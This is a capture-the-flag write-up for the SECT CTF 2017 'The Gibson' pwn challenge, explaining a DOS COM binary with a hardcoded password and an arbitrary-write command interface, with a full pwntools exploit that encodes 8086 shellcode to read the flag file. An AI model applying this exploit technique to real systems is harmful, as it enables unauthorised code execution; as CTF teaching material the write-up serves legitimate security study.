SECT CTF 2017 PWN300 Write Up=============================
> **The gibson - Pwn (300 + 0)**> > The Plague: Someone didn't bother reading my carefully prepared memo on commonly-used passwords. Now, then, as I so > meticulously pointed out, the four most-used passwords are: love, sex, secret, and...> THE FLAG is in the file flag> > **Solves:** 12> **Service:** nc pwn.sect.ctf.rocks 4444> **Download:** http://dl.ctf.rocks/thegibson.tar.gz> **Author:** likvidera
This was a fun challenge I solved for HackingForSoju who finished 2nd.
Description:------------The challenge is a reasonably small DOS COM executable.The 8086 ASM is fairly easy to understand, here is the pseudo representation:
```c// Print welcome messageprint("#######################\n\r"      "THE GIBSON BACKDOOR\n\r"      "#######################\n\r");
// Read the passwordprint("\n\rEnter password: ");while ((c = getchar()) != '\n')  *buff++ = c;
// Check the passwordpass = "HACKTHEPLANET";for (i = 0; i < 13; i++)  if (buff[i] != pass[i])    goto EXIT;
// Print backdoor promptprint("\n\r OK! BACKDOOR CMD: ")
// Initialise varsvoid *ptr = 0x19ashort val = 0x0
// Read input from the user (without echoing chars back)while ((c = getchar()) != '\n')  switch (c){
    // Increment the pointer    case 'A':      ptr++;      break;
    // Decrement the pointer    case 'B':      ptr--;      break;
    // Decrement the value    case 'C':      val--;      break;
    // Increment the value    case 'D':      val++      break;
    // Write the value to the address ptr points to    case 'E':      *ptr = val;      break;  }
EXIT:print("\n\rYOU ARE EXPUNGED, PRESS ENTER TO LEAVE!");if (getchar() == '\n')  exit(0);```
The first step is to send the password: "HACKTHEPLANET" which will give access to the backdoor prompt where we can enter commands. The commands are single characters, A, B, C, D and E that will manipulate a pointer and value and allow us to store the value in memory at the pointer location.
Luckily, there is no such thing as read only memory in a COM executable, so we can write bytes in the code itself. The perfect location to write to would be in the EXIT block (after the exit message is printed, so we have confirmation everything worked as expected).
Now all we have to do is figure out how to write 8086 shellcode...
References:-----------
1. [DOS function codes for int 0x21](http://spike.scu.edu.au/~barry/interrupts.html)2. [8086 opcodes](http://csiflabs.cs.ucdavis.edu/~ssdavis/50/8086%20Opcodes.pdf)
Exploit Code:-------------
```pythonfrom pwn import *import timeimport sys
# Info:## COM binary for DOS, it reads a password "HACKTHEPLANET" and then it will let you# input "commands" in the form of chars that map to instructions:##   A => add bx, 1#   B => sub bx, 1#   C => sub cx, 1#   D => add cx, 1#   E => mov [bx], cx## With that, we have an arbitrary write, so we can write our code in order to read# the flag.
LOCAL = Trueif len(sys.argv) > 1:  LOCAL = False
# initial register valuesBX = 0x019aCX = 0x0000
def sendline(line):
  if LOCAL == True:    print line  else:    io.sendline(line)
def inc_bx():  global BX  BX += 1  return 'A'
def dec_bx():  global BX  BX -= 1  return 'B'
def inc_cx():  global CX  CX += 1  return 'D'
def dec_cx():  global CX  CX -= 1  return 'C'
def store():  return 'E'
def enc_write(pay, addr):   ret = ''
  # set the initial address  if addr < BX:    end = BX - addr    for i in range(end):      ret += dec_bx()  elif addr > BX:    end = addr - BX    for i in range(end):      ret += inc_bx()
  # loop through all the bytes of the payload  for char in pay:    val = ord(char)    if val < CX:      end = CX - val      for i in range(end):        ret += dec_cx()
    elif val > CX:      end = val - CX      for i in range(end):        ret += inc_cx()
    # store the byte    ret += store()
    # Increment the address    ret += inc_bx()
  return ret
if LOCAL == False:  io = remote('pwn.sect.ctf.rocks', 4444)  io.sendline()  io.sendline()
  io.recvuntil('CHALL.COM')  io.recvuntil(':')
if LOCAL == False:  p = log.progress('Sending password...')
# send passwordsendline('HACKTHEPLANET')
if LOCAL == False:  p.success()
FILE = 0x0210           # location to write the file nameBUFF = 0x0230           # location to write the file contents we readSIZE = 0x0030           # number of bytes to read from the file
pay  = ''
# open filepay += '\xb4\x3d'       # mov  ah,  0x3d  (open syscall)pay += '\xb0\x00'       # mov  al,  0x00  (READONLY)pay += '\xba'+p16(FILE) # mov  dx,  FILEpay += '\xcd\x21'       # int  0x21
# read from filepay += '\x93'           # xchg ax,  bxpay += '\xb4\x3f'       # mov  ah,  0x3f  (read syscall)pay += '\xb9'+p16(SIZE) # mov  cx,  SIZEpay += '\xba'+p16(BUFF) # mov  dx,  BUFFpay += '\xcd\x21'       # int  0x21
# print the bufferpay += '\xb4\x09'       # mov  ah,  0x09  (print syscall)pay += '\xba'+p16(BUFF) # mov  dx,  BUFFpay += '\xcd\x21'       # int  0x21
# wait for charpay += '\xb4\x01'       # mov  ah,  0x01  (getc syscall)pay += '\xcd\x21'       # int  0x21
# exitpay += '\xb4\x4c'       # mov  ah,  0x00  (exit syscall)pay += '\xcd\x21'       # int  0x21
# build the payload in the final formxxx  = enc_write(pay, 0x1a1)xxx += enc_write('flag\x00', FILE)
if LOCAL == False:  io.recvuntil('OK! BACKDOOR CMD:')  p = log.progress('Sending %d commands (%d byte payload)' % (len(xxx), len(pay)))
# send commandssendline(xxx)
if LOCAL == False:  p.success()
  # wait for output  p = log.progress('Executing commands...')  io.recvuntil('YOU ARE EXPUNGED, PRESS ENTER TO LEAVE!')  flag = io.recvuntil('}')  p.success()  log.success('Got Flag: %s' % flag)
  # terminate  io.send('\n')
```
Flag:-----------
**SECT{MEMBER_MSDOS_I_MEMBER}**
A fantastic challenge and a fantastic CTF. Thanks to likvidera and the other organisers. See attached GIF for a live action version of this writeup and attached base64 tar.gz for the challenge file :)